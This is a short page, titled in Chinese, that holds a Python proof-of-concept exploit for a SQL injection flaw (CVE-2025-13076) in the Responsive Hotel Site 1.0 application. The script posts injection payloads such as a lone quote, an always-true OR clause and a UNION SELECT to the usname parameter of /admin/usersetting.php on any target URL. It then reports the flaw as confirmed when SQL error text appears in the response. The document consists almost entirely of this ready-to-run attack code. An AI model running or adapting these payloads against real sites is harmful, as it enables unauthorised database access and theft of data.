CVE-2025-13076 code-projects Responsive Hotel Site 1.0 SQL注入漏洞

import requests import sys # CVE-2025-13076 SQL Injection PoC # Target: code-projects Responsive Hotel Site 1.0 # File: /admin/usersetting.php # Parameter: usname def exploit_sqli(target_url, payload): """Exploit SQL injection in usname parameter""" target = target_url.rstrip('/') + '/admin/usersetting.php' # SQL injection payload for testing # Basic test payload to trigger SQL error data = { 'usname': payload } try: response = requests.post(target, data=data, timeout=10) print(f'[+] Request sent to: {target}') print(f'[+] Payload: {payload}') print(f'[+] Status Code: {response.status_code}') # Check for SQL error indicators if 'sql' in response.text.lower() or 'mysql' in response.text.lower() or 'syntax' in response.text.lower(): print('[+] SQL error detected - vulnerability confirmed') return True return False except requests.exceptions.RequestException as e: print(f'[-] Error: {e}') return False if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: python cve-2025-13076_poc.py <target_url>') sys.exit(1) target_url = sys.argv[1] # Test payloads payloads = [ "'", # Single quote to trigger SQL error "admin' OR '1'='1", # Basic SQL injection test "admin' UNION SELECT 1,2,3---", # UNION-based injection test ] print('[+] CVE-2025-13076 SQL Injection PoC') print('[+] Target: Responsive Hotel Site 1.0') print('='*50) for payload in payloads: exploit_sqli(target_url, payload) print('-'*50)